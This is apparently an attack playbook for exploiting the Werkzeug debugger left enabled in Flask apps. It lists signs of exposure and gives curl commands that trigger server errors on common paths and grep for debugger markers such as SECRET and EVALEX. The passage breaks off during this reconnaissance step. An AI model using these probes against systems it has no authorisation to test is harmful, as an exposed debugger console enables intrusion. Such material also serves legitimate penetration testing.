flask-werkzeug-attack

1# Flask/Werkzeug Debugger Exploitation
2 
3Flask applications with `debug=True` enable the Werkzeug debugger, which exposes stack traces and (optionally) an interactive Python console. The debugger runs at the same port as the Flask app and activates on any unhandled exception (HTTP 500).
4 
5## When to Use
6 
7- Port scan reveals an unknown HTTP service on a non-standard port (8080, 8081, 8084, 5000, 8000, etc.)
8- An API endpoint returns HTTP 500 with a Flask/Werkzeug error page
9- A `?__debugger__=yes` parameter appears in URL resources (CSS, JS, PNG)
10- The error page contains `var CONSOLE_MODE`, `var EVALEX`, or `SECRET=` in the HTML
11 
12## Prerequisites
13 
14- `terminal` with curl
15- A Flask API server with `debug=True` in production (misconfiguration)
16- An endpoint that triggers HTTP 500 (unhandled exception)
17 
18## How to Run
19 
20```bash
21# Check if Werkzeug debugger is active — trigger an error
22export TARGET=target.com
23export PORT=5000   # set to the observed Werkzeug port
24 
25curl --max-time 30 --connect-timeout 10 -sk "https://${TARGET}:${PORT}/sitemap.xml" 2>/dev/null | grep -oE "(Werkzeug|Debugger|SECRET|CONSOLE_MODE|EVALEX)" | head -5
26 
27# Try to trigger error on common paths
28for path in "/error" "/500" "/test" "/debug" "/sitemap.xml" "/env" "/config"; do
29  result=$(curl --max-time 30 --connect-timeout 10 -sk "https://${TARGET}:${PORT}$path" 2>/dev/null)
30  if echo "$result" | grep -q "Traceback\|Error\|Werkzeug"; then
31    echo "TRIGGERED: $path"
32…